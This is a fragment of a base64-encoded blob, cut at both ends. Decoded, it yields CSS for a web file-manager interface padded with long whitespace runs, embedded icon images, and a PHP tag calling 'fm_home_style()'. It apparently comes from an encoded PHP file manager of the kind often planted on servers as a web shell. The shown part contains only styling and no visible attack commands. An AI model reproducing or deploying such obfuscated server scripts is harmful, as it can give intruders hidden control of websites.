vcjoJICAgICAjMDA2Njk5Ow0KCSAgICAgY29sb3I6CSAgICAgCSAgICAgCSAgICAgCSAgICAgI0ZGQTM0RjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZm9udC13ZWlnaHQ6CSAgICAgCSAgICAgYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZm9udC1zaXplOgkgICAgIAkgICAgIAkgICAgIDExcHg7DQoNCn0NCg0KDQoucm93MSB7DQoNCgkgICAgIGJhY2tncm91bmQtY29sb3I6CSAgICAgI0VGRUZFRjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQoucm93MiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGJhY2tncm91bmQtY29sb3I6CSAgICAgI0RFRTNFNzsNCn0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi5yb3czIHsNCgkgICAgIGJhY2tncm91bmQtY29sb3I6CSAgICAgI0QxRDdEQzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHBhZGRpbmc6IDVweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCnRyLnJvdzE6aG92ZXIgew0KCSAgICAgYmFja2dyb3VuZC1jb2xvcjoJICAgICAjRjNGQ0ZDOw0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KdHIucm93Mjpob3ZlciB7DQoNCgkgICAgIGJhY2tncm91bmQtY29sb3I6CSAgICAgI0YwRjZGNjsNCn0NCg0KLndob2xlIHsNCg0KCSAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KDQouYWxsIHRib2R5IHRkOmZpcnN0LWNoaWxke3dpZHRoOjEwMCU7fQ0KDQoNCnRleHRhcmVhIHsNCg0KCSAgICAgZm9udDogOXB0ICdDb3VyaWVyIE5ldycsIGNvdXJpZXI7DQoJICAgICBsaW5lLWhlaWdodDogMTI1JTsNCg0KCSAgICAgcGFkZGluZzogNXB4Ow0KDQp9DQoNCi50ZXh0YXJlYV9pbnB1dCB7DQoJICAgICBoZWlnaHQ6IDFlbTsNCg0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi50ZXh0YXJlYV9pbnB1dDpmb2N1cyB7DQoNCgkgICAgIGhlaWdodDogYXV0bzsNCg0KfQ0KDQoNCg0KaW5wdXRbdHlwZT1zdWJtaXRdew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgYmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7DQoNCgkgICAgIGN1cnNvcjogcG9pbnRlcjsNCg0KfQ0KDQouZm9sZGVyIHsNCg0KICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBS1QybERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk5uVkZQcEZqMzMzdlJDUzRpQWxFdHZVaFVJSUZKQ2k0QVVrU1lxSVFrUVNvZ2hvZGtWVWNFUlJVVUVHOGlnaUFPT2pvQ01GVkVzRElvSzJBZmtJYUtPZzZPSWlzcjc0WHVqYTlhODkrYk4vclhYUHVlczg1Mnp6d2ZBQ0F5V1NETlJOWUFNcVVJZUVlQ0R4OFRHNGVRdVFJRUtKSEFBRUFpelpDRnovU01CQVBoK1BEd3JJc0FIdmdBQmVOTUxDQURBVFp2QU1CeUgvdy9xUXBsY0FZQ0VBY0Iwa1RoTENJQVVBRUI2amtLbUFFQkdBWUNkbUNaVEFLQUVBR0RMWTJMakFGQXRBR0FuZitiVEFJQ2QrSmw3QVFCYmxDRVZBYUNSQUNBVFpZaEVBR2c3QUt6UFZvcEZBRmd3QUJSbVM4UTVBTmd0QURCSlYyWklBTEMzQU1ET0VBdXlBQWdNQURCUmlJVXBBQVI3QUdESUl5TjRBSVNaQUJSRzhsYzg4U3V1RU9jcUFBQjRtYkk4dVNRNVJZRmJDQzF4QjFkWExoNG96a2tYS3hRMllRSmhta0F1d25tWkdUS0JOQS9nODh3QUFLQ1JGUkhnZy9QOWVNNE9yczdPTm82MkRsOHQ2cjhHL3lKaVl1UCs1YytyY0VBQUFPRjBmdEgrTEMrekdvQTdCb0J0L3FJbDdnUm9YZ3VnZGZlTFpySVBRTFVBb09uYVYvTncrSDQ4UEVXaGtMbloyZVhrNU5oS3hFSmJZY3BYZmY1bndsL0FWLzFzK1g0OC9QZjE0TDdpSklFeVhZRkhCUGpnd3N6MFRLVWN6NUlKaEdMYzVvOUgvTGNMLy93ZDB5TEVTV0s1V0NvVTQxRVNjWTVFbW96ek1xVWlpVUtTS2NVbDB2OWs0dDhzK3dNKzN6VUFzR28rQVh1UkxhaGRZd1AyU3ljUVdIVEE0dmNBQVBLN2I4SFVLQWdEZ0dpRDRjOTMvKzgvL1VlZ0pRQ0Faa21TY1FBQVhrUWtMbFRLc3ovSENBQUFSS0NCS3JCQkcvVEJHQ3pBQmh6QkJkekJDL3hnTm9SQ0pNVENRaEJDQ21TQUhISmdLYXlDUWlpR3piQWRLbUF2MUVBZE5NQlJhSWFUY0E0dXdsVzREajF3RC9waENKN0JLTHlCQ1FSQnlBZ1RZU0hhaUFGaWlsZ2pqZ2dYbVlYNEljRklCQktMSkNESmlCUlJJa3VSTlVneFVvcFVJRlZJSGZJOWNnSTVoMXhHdXBFN3lBQXlndnlHdkVjeGxJR3lVVDNVRExWRHVhZzNHb1JHb2d2UVpIUXhtbzhXb0p2UWNyUWFQWXcyb2VmUXEyZ1AybzgrUThjd3dPZ1lCelBFYkRBdXhzTkNzVGdzQ1pOank3RWlyQXlyeGhxd1Zxd0R1NG4xWTgreGR3UVNnVVhBQ1RZRWQwSWdZUjVCU0ZoTVdFN1lTS2dnSENRMEVkb0pOd2tEaEZIQ0p5S1RxRXUwSnJvUitjUVlZakl4aDFoSUxDUFdFbzhUTHhCN2lFUEVOeVFTaVVNeUo3bVFBa214cEZUU0V0SkcwbTVTSStrc3FaczBTQm9qazhuYVpHdXlCem1VTENBcnlJWGtuZVRENURQa0crUWg4bHNLbldKQWNhVDRVK0lvVXNwcVNobmxFT1UwNVFabG1ESkJWYU9hVXQyb29WUVJOWTlhUXEyaHRsS3ZVWWVvRXpSMW1qbk5neFpKUzZXdG9wWFRHbWdYYVBkcHIraDB1aEhkbFI1T2w5Qlgwc3ZwUitpWDZBUDBkd3dOaGhXRHg0aG5LQm1iR0FjWVp4bDNHSytZVEtZWjA0c1p4MVF3TnpIcm1PZVpENWx2VlZncXRpcDhGWkhLQ3BWS2xTYVZHeW92VkttcXBxcmVxZ3RWODFYTFZJK3BYbE45cmtaVk0xUGpxUW5VbHF0VnFwMVE2MU1iVTJlcE82aUhxbWVvYjFRL3BINVovWWtHV2NOTXcwOURwRkdnc1YvanZNWWdDMk1aczNnc0lXc05xNFoxZ1RYRUpySE4yWHgyS3J1WS9SMjdpejJxcWFFNVF6TktNMWV6VXZPVVpqOEg0NWh4K0p4MFRnbm5LS2VYODM2SzNoVHZLZUlwRzZZMFRMa3haVnhycXBhWGxsaXJTS3RScTBmcnZUYXU3YWVkcHIxRnUxbjdnUTVCeDBvblhDZEhaNC9PQlozblU5bFQzYWNLcHhaTlBUcjFyaTZxYTZVYm9idEVkNzl1cCs2WW5yNWVnSjVNYjZmZWViM24raHg5TC8xVS9XMzZwL1ZIREZnR3N3d2tCdHNNemhnOHhUVnhiendkTDhmYjhWRkRYY05BUTZWaGxXR1g0WVNSdWRFOG85VkdqVVlQakduR1hPTWs0MjNHYmNhakpnWW1JU1pMVGVwTjdwcFNUYm1tS2FZN1REdE14ODNNemFMTjFwazFtejB4MXpMbm0rZWIxNXZmdDJCYWVGb3N0cWkydUdWSnN1UmFwbG51dHJ4dWhWbzVXYVZZVlZwZHMwYXRuYTBsMXJ1dHU2Y1JwN2xPazA2cm50Wm53N0R4dHNtMnFiY1pzT1hZQnR1dXRtMjJmV0ZuWWhkbnQ4V3V3KzZUdlpOOXVuMk4vVDBIRFlmWkRxc2RXaDErYzdSeUZEcFdPdDZhenB6dVAzM0Y5SmJwTDJkWXp4RFAyRFBqdGhQTEtjUnBuVk9iMDBkbkYyZTVjNFB6aUl1SlM0TExMcGMrTHBzYnh0M0l2ZVJLZFBWeFhlRjYwdldkbTdPYnd1Mm8yNi91TnU1cDdvZmNuOHcwbnltZVdUTnowTVBJUStCUjVkRS9DNStWTUd2ZnJINVBRMCtCWjdYbkl5OWpMNUZYcmRld3Q2VjNxdmRoN3hjKzlqNXluK00rNHp3MzNqTGVXVi9NTjhDM3lMZkxUOE52bmwrRjMwTi9JLzlrLzNyLzBRQ25nQ1VCWndPSmdVR0JXd0w3K0hwOEliK09QenJiWmZheTJlMUJqS0M1UVJWQmo0S3RndVhCclNGb3lPeVFyU0gzNTVqT2tjNXBEb1ZRZnVqVzBBZGg1bUdMdzM0TUo0V0hoVmVHUDQ1d2lGZ2EwVEdYTlhmUjNFTnozMFQ2UkpaRTNwdG5NVTg1cnkxS05TbytxaTVxUE5vM3VqUzZQOFl1WmxuTTFWaWRXRWxzU3h3NUxpcXVObTVzdnQvODdmT0g0cDNpQytON0Y1Z3Z5RjF3ZWFIT3d2U0ZweGFwTGhJc09wWkFUSWhPT0pUd1FSQXFxQmFNSmZJVGR5V09Dbm5DSGNKbklpL1JOdEdJMkVOY0toNU84a2dxVFhxUzdKRzhOWGtreFRPbExPVzVoQ2Vwa0x4TURVemRtenFlRnBwMklHMHlQVHE5TVlPU2taQnhRcW9oVFpPMlorcG41bVoyeTZ4bGhiTCt4VzZMdHk4ZWxRZkphN09RckFWWkxRcTJRcWJvVkZvbzF5b0hzbWRsVjJhL3pZbktPWmFybml2TjdjeXp5dHVRTjV6dm4vL3RFc0lTNFpLMnBZWkxWeTBkV09hOXJHbzVzanh4ZWRzSzR4VUZLNFpXQnF3OHVJcTJLbTNWVDZ2dFY1ZXVmcjBtZWsxcmdWN0J5b0xCdFFGcjZ3dFZDdVdGZmV2YzErMWRUMWd2V2QrMVlmcUduUnMrRlltS3JoVGJGNWNWZjlnbzNIamxHNGR2eXIrWjNKUzBxYXZFdVdUUFp0Sm02ZWJlTFo1YkRwYXFsK2FYRG00TjJkcTBEZDlXdE8zMTlrWGJMNWZOS051N2c3WkR1YU8vUExpOFphZkp6czA3UDFTa1ZQUlUrbFEyN3RMZHRXSFgrRzdSN2h0N3ZQWTA3TlhiVzd6My9UN0p2dHRWQVZWTjFXYlZaZnRKKzdQM1A2NkpxdW40bHZ0dFhhMU9iWEh0eHdQU0EvMEhJdzYyMTduVTFSM1NQVlJTajlZcjYwY094eCsrL3AzdmR5ME5OZzFWalp6RzRpTndSSG5rNmZjSjMvY2VEVHJhZG94N3JPRUgweDkySFdjZEwycENtdkthUnB0VG12dGJZbHU2VDh3KzBkYnEzbnI4UjlzZkQ1dzBQRmw1U3ZOVXlXbmE2WUxUazJmeXo0eWRsWjE5Zmk3NTNHRGJvclo3NTJQTzMyb1BiKys2RUhUaDBrWC9pK2M3dkR2T1hQSzRkUEt5MitVVFY3aFhtcTg2WDIzcWRPbzgvcFBUVDhlN25MdWFycmxjYTdudWVyMjFlMmIzNlJ1ZU44N2Q5TDE1OFJiLzF0V2VPVDNkdmZONmIvZkY5L1hmRnQxK2NpZjl6c3U3MlhjbjdxMjhUN3hmOUVEdFFkbEQzWWZWUDF2KzNOanYzSDlxd0hlZzg5SGNSL2NHaFlQUC9wSDFqdzlEQlkrWmo4dUdEWWJybmpnK09UbmlQM0w5NmZ5blE4OWt6eWFlRi82aS9zdXVGeFl2ZnZqVjY5Zk8wWmpSb1pmeWw1Ty9iWHlsL2VyQTZ4bXYyOGJDeGg2K3lYZ3pNVjcwVnZ2dHdYZmNkeDN2bzk4UFQrUjhJSDhvLzJqNXNmVlQwS2Y3a3htVGsvOEVBNWp6L0dNekxkc0FBQUFHWWt0SFJBRC9BUDhBLzZDOXA1TUFBQUFKY0VoWmN3QUFDeE1BQUFzVEFRQ2FuQmdBQUFBSGRFbE5SUWZjQ0F3R01obGVHQUtPQUFBQnlFbEVRVlE0eThXVFQyc1VRUkRGZjlYVE0rUEdJQkhkRUVRUjhlQWZnZ2FQSHZUdXlVK2krQTM4QUY0OGVmSmJLQjV6RTBJTUFWY0NpUmhRRThnbW0xMTFzOW1aM1psK0htYXk1cUFZOEdCRGRUV1BlbzlIVlJmODcyTzl4VnYzL0puckN5Z0lVNDA2Sy9xYnJiUDNWeGIvcWpEOCtPU050QytWWDZSaVV5cldwWEpEMmFlbmZ5UjNYczlOM2g1ckZJdzZFQVlReHNBSUtNRngrY2ZTZzBkbUZrK3FKYVF5R3UwdHZ3VDJLd0VaaEFOUVdaR1ZnM0xTODNldXBNMkY1eWlEa0U5d0RQWjc2MnZRZlZVSmhJS1E3VERhVzhUaWFjQ08ybE5uZDZ4amxZdnBtNDlmNUZ1TlorWEJ4cG9uNUJUZldxU3pONEFFTEFGTHErd1NiSUxGZFhnZ3VvaWJVajcrdnUwUktHOWplWUhrNnVJRVhJb3NRWlppTldZdVFTUVFUV0Z1WUVWM2FjWFRmd2R4aXRLclFBd3VtWWlZTzNKekNrVlR5RFd3c2crRFZaUjlZTlRMM25xTkRuSHhOQnEyZjFtYzJJMUFnbkFJUlJmR2JWUU9hbWVueVE3YXk3NHNJM3orRldXSDlhaU9ybENGQk9hcXFMb0l5aWp3K1lXSFc5dStDS2JHc0ljMC9zMlgwYkZwSE1OVUV1S1pWUUMvMngwbU0wMFA4aWRmQUFldHoyRVR3RzVmYTg3UG5vc3VoWUJPeW84Y3R0TUpXKzgzZGx2L3RJbDNGK2I0Q1l5cDJUeHcyVlV3QUFBQUFFbEZUa1N1UW1DQyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KLmZpbGUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFLVDJsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTm5WRlBwRmozMzN2UkNTNGlBbEV0dlVoVUlJRkpDaTRBVWtTWXFJUWtRU29naG9ka1ZVY0VSUlVVRUc4aWdpQU9Pam9DTUZWRXNESW9LMkFma0lhS09nNk9JaXNyNzRYdWphOWE4OStiTi9yWFhQdWVzODUyenp3ZkFDQXlXU0ROUk5ZQU1xVUllRWVDRHg4VEc0ZVF1UUlFS0pIQUFFQWl6WkNGei9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SC93L3FRcGxjQVlDRUFjQjBrVGhMQ0lBVUFFQjZqa0ttQUVCR0FZQ2RtQ1pUQUtBRUFHRExZMkxqQUZBdEFHQW5mK2JUQUlDZCtKbDdBUUJibENFVkFhQ1JBQ0FUWlloRUFHZzdBS3pQVm9wRkFGZ3dBQlJtUzhRNUFOZ3RBREJKVjJaSUFMQzNBTURPRUF1eUFBZ01BREJSaUlVcEFBUjdBR0RJSXlONEFJU1pBQlJHOGxjODhTdXVFT2NxQUFCNG1iSTh1U1E1UllGYkNDMXhCMWRYTGg0b3pra1hLeFEyWVFKaG1rQXV3bm1aR1RLQk5BL2c4OHdBQUtDUkZSSGdnL1A5ZU00T3JzN09ObzYyRGw4dDZyOEcveUppWXVQKzVjK3JjRUFBQU9GMGZ0SCtMQyt6R29BN0JvQnQvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVi9OdytINDhQRVdoa0xuWjJlWGs1TmhLeEVKYlljcFhmZjVud2wvQVYvMXMrWDQ4L1BmMTRMN2lKSUV5WFlGSEJQamd3c3owVEtVY3o1SUpoR0xjNW85SC9MY0wvL3dkMHlMRVNXSzVXQ29VNDFFU2NZNUVtb3p6TXFVaWlVS1NLY1VsMHY5azR0OHMrd00rM3pVQXNHbytBWHVSTGFoZFl3UDJTeWNRV0hUQTR2Y0FBUEs3YjhIVUtBZ0RnR2lENGM5My8rOC8vVWVnSlFDQVprbVNjUUFBWGtRa0xsVEtzei9IQ0FBQVJLQ0JLckJCRy9UQkdDekFCaHpCQmR6QkMveGdOb1JDSk1UQ1FoQkNDbVNBSEhKZ0theUNRaWlHemJBZEttQXYxRUFkTk1CUmFJYVRjQTR1d2xXNERqMXdEL3BoQ0o3QktMeUJDUVJCeUFnVFlTSGFpQUZpaWxnampnZ1htWVg0SWNGSUJCS0xKQ0RKaUJSUklrdVJOVWd4VW9wVUlGVklIZkk5Y2dJNWgxeEd1cEU3eUFBeWd2eUd2RWN4bElHeVVUM1VETFZEdWFnM0dvUkdvZ3ZRWkhReG1vOFdvSnZRY3JRYVBZdzJvZWZRcTJnUDJvOCtROGN3d09nWUJ6UEViREF1eHNOQ3NUZ3NDWk5qeTdFaXJBeXJ4aHF3VnF3RHU0bjFZOCt4ZHdRU2dVWEFDVFlFZDBJZ1lSNUJTRmhNV0U3WVNLZ2dIQ1EwRWRvSk53a0RoRkhDSnlLVHFFdTBKcm9SK2NRWVlqSXhoMWhJTENQV0VvOFRMeEI3aUVQRU55UVNpVU15SjdtUUFrbXhwRlRTRXRKRzBtNVNJK2tzcVpzMFNCb2prOG5hWkd1eUJ6bVVMQ0FyeUlYa25lVEQ1RFBrRytRaDhsc0tuV0pBY2FUNFUrSW9Vc3BxU2hubEVPVTA1UVpsbURKQlZhT2FVdDJvb1ZRUk5ZOWFRcTJodGxLdlVZZW9FelIxbWpuTmd4WkpTNld0b3BYVEdtZ1hhUGRwcitoMHVoSGRsUjVPbDlCWDBzdnBSK2lYNkFQMGR3d05oaFdEeDRobktCbWJHQWNZWnhsM0dLK1lUS1laMDRzWngxUXdOekhybU9lWkQ1bHZWVmdxdGlwOEZaSEtDcFZLbFNhVkd5b3ZWS21xcHFyZXFndFY4MVhMVkkrcFhsTjlya1pWTTFQanFRblVscXRWcXAxUTYxTWJVMmVwTzZpSHFtZW9iMVEvcEg1Wi9Za0dXY05NdzA5RHBGR2dzVi9qdk1ZZ0MyTVpzM2dzSVdzTnE0WjFnVFhFSnJITjJYeDJLcnVZL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0L09CWjNuVTlsVDNhY0tweFpOUFRyMXJpNnFhNlVib2J0RWQ3OXVwKzZZbnI1ZWdKNU1iNmZlZWIzbitoeDlMLzFVL1czNnAvVkhERmdHc3d3a0J0c016aGc4eFRWeGJ6d2RMOGZiOFZGRFhjTkFRNlZobFdHWDRZU1J1ZEU4bzlWR2pVWVBqR25HWE9NazQyM0diY2FqSmdZbUlTWkxUZXBON3BwU1RibW1LYVk3VER0TXg4M016YUxOMXBrMW16MHgxekxubStlYjE1dmZ0MkJhZUZvc3RxaTJ1R1ZKc3VSYXBsbnV0cnh1aFZvNVdhVllWVnBkczBhdG5hMGwxcnV0dTZjUnA3bE9rMDZybnRabnc3RHh0c20ycWJjWnNPWFlCdHV1dG0yMmZXRm5ZaGRudDhXdXcrNlR2Wk45dW4yTi9UMEhEWWZaRHFzZFdoMStjN1J5RkRwV090NmF6cHp1UDMzRjlKYnBMMmRZenhEUDJEUGp0aFBMS2NScG5WT2IwMGRuRjJlNWM0UHppSXVKUzRMTExwYytMcHNieHQzSXZlUktkUFZ4WGVGNjB2V2RtN09id3UybzI2L3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFL0M1K1ZNR3Zmckg1UFEwK0JaN1huSXk5akw1RlhyZGV3dDZWM3F2ZGg3eGMrOWo1eW4rTSs0enczM2pMZVdWL01OOEMzeUxmTFQ4TnZubCtGMzBOL0kvOWsvM3IvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dC84N2ZPSDRwM2lDK043RjVndnlGMXdlYUhPd3ZTRnB4YXBMaElzT3BaQVRJaE9PSlR3UVJBcXFCYU1KZklUZHlXT0NubkNIY0puSWkvUk50R0kyRU5jS2g1TzhrZ3FUWHFTN0pHOE5Ya2t4VE9sTE9XNWhDZXBrTHhNRFV6ZG16cWVGcHAySUcweVBUcTlNWU9Ta1pCeFFxb2hUWk8yWitwbjVtWjJ5NnhsaGJMK3hXNkx0eThlbFFmSmE3T1FyQVZaTFFxMlFxYm9WRm9vMXlvSHNtZGxWMmEvelluS09aYXJuaXZON2N5enl0dVFONXp2bi8vdEVzSVM0WksycFlaTFZ5MGRXT2E5ckdvNXNqeHhlZHNLNHhVRks0WldCcXc4dUlxMkttM1ZUNnZ0VjVldWZyMG1lazFyZ1Y3QnlvTEJ0UUZyNnd0VkN1V0ZmZXZjMSsxZFQxZ3ZXZCsxWWZxR25ScytGWW1LcmhUYkY1Y1ZmOWdvM0hqbEc0ZHZ5citaM0pTMHFhdkV1V1RQWnRKbTZlYmVMWjViRHBhcWwrYVhEbTROMmRxMERkOVd0TzMxOWtYYkw1Zk5LTnU3ZzdaRHVhTy9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozL1Q3SnZ0dFZBVlZOMVdiVlpmdEorN1AzUDY2SnF1bjRsdnR0WGExT2JYSHR4d1BTQS8wSEl3NjIxN25VMVIzU1BWUlNqOVlyNjBjT3h4KysvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKMy9jZURUcmFkb3g3ck9FSDB4OTJIV2NkTDJwQ212S2FScHRUbXZ0YllsdTZUOHcrMGRicTNucjhSOXNmRDV3MFBGbDVTdk5VeVduYTZZTFRrMmZ5ejR5ZGxaMTlmaTc1M0dEYm9yWjc1MlBPMzJvUGIrKzZFSFRoMGtYL2krYzd2RHZPWFBLNGRQS3kyK1VUVjdoWG1xODZYMjNxZE9vOC9wUFRUOGU3bkx1YXJybGNhN251ZXIyMWUyYjM2UnVlTjg3ZDlMMTU4UmIvMXRXZU9UM2R2Zk42Yi9mRjkvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1IvY0doWVBQL3BIMWp3OURCWStaajh1R0RZYnJuamcrT1RuaVAzTDk2ZnluUTg5a3p5YWVGLzZpL3N1dUZ4WXZmdmpWNjlmTzBaalJvWmZ5bDVPL2JYeWwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG8vMmo1c2ZWVDBLZjdreG1Uay84RUE1anovR016TGRzQUFBQUdZa3RIUkFEL0FQOEEvNkM5cDVNQUFBQUpjRWhaY3dBQUN4TUFBQXNUQVFDYW5CZ0FBQUFIZEVsTlJRZmNDQXdHTVRnNVhFRVRBQUFCOGtsRVFWUTR5M1dTTVcvVFFCaUduKys3c3gzWGRkTUFJbTBua0NvaFJRaUpEU0V4ZEFsL0FURXdJUEV6a0ZpWVlHUmx5TXlHeE1MRXhGaEJ5eTlBQ0FhYTBnWW5Eb2w5eDlEWWlWczQ2ZFBuay93Kzk5NzNuZ0RKL3Y3Kyt5QUlDaitmSTBIQS81WnpEdTg5emptT2pvNnlmci8vd0FKQnI5ZTdHNFloeFdTQ1JGSDkwMnFWWmRuWXgzRjhESVFXSU1zeTFwSUVYeFNvTWZWSjUwRmVES1VyY0djd0FWQ0FORTFwdFZxb0txcUtNYWIrcnZaaHZNYm4xeS93ZzZkSXRJYUlBR0FCVGs1T1NKSUU5UjRBRVVGVmNjN1ZQZjkyd1BidGxIejNDUnQranFwU08yaTMyOFJ4WE50ZWhZZ0lwclhPK09OenJsMytndEVBRVcwQ2hzTWhXWlkxN2w1RGpPWDAweHV1N296NUVUM2tVbWVqQnRlQVRxZERITWV3RUs5Q1BEQS9mTVZzNnhhYjIzdG5JdjJIZy9GNDNKeTQ5NGdOR0g1NFNmZkdCcWZyajBsYVMzSERRWnFtaEdHSVc4Uld4ZmZuK0R2MjUxdCt0ZS9SM2VuaEVVU1dWUU5Hb3hGNW51Tlh4S0tHcndmdkNIYnY0Szg4d21pSjZuS3dqUmlqS01JWVF6bWZJNHZvUklRaTN1WjM5ejVibTUwemFIWHE0djQxWURxZGdnaFNsb2h6QU15bU9kZHY3bUdNVUpabEk5WnF3RTBIcW9pMUYxNWhKVnJ0Q3hlK0FrZ1loZ1RXSXNaZ29nZ1J3VnA3WVdDcnl4aWpGV0F5R0F5ZUlWS29jeUxXMW8rbzZ1Y0w4SG1lejREeFgrOGRBTEc3TWVWVUFBQUFBRWxGVGtTdVFtQ0MiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQo8Pz1mbV9ob21lX3N0eWxlKCk/Pg0KDQouaW1nIHsNCg0KCSAgICAgYmFja2dyb3VuZC1pbWFnZTogDQoNCnVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2